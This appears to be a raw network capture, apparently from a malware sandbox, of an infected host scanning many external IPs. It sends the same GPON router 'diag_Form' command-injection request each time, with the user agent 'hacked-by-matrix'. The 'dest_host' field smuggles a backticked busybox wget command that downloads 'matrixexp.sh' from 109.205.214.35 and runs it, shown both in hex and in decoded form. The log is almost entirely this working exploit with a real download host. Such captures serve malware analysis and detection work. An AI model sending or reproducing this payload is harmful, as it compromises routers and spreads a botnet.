Mar 21, 2024 05:21:50.447746992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
194	192.168.2.13	49870	5.50.212.227	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447767019 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
195	192.168.2.13	50574	5.168.43.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447767973 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
196	192.168.2.13	39142	5.99.44.144	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447809935 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
197	192.168.2.13	43466	109.233.252.41	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447810888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
198	192.168.2.13	55968	42.130.183.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447810888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
199	192.168.2.13	38216	118.75.127.228	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:50.447834969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
200	192.168.2.13	45018	212.73.202.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452316046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
201	192.168.2.13	60770	212.88.16.188	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452316046 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
202	192.168.2.13	55416	5.69.233.45	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452326059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
203	192.168.2.13	59240	5.22.76.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452331066 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
204	192.168.2.13	33708	5.223.162.0	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452354908 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
205	192.168.2.13	52482	5.200.8.1	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452357054 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
206	192.168.2.13	49688	5.16.212.192	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452378035 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
207	192.168.2.13	58424	5.6.142.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452380896 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.13	46952	109.43.69.87	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452403069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.13	59850	109.231.158.110	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452403069 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.13	35050	42.221.229.187	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452476978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.13	48428	212.208.21.61	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452480078 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.13	42638	5.102.111.177	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452502966 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.13	54748	118.154.165.221	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:53.452510118 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.13	60998	5.71.202.100	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.459706068 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.13	57146	109.193.190.29	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.459739923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.13	53236	42.63.174.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:56.459755898 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.13	47490	109.197.64.112	443

Timestamp	Bytes transferred	Direction	Data
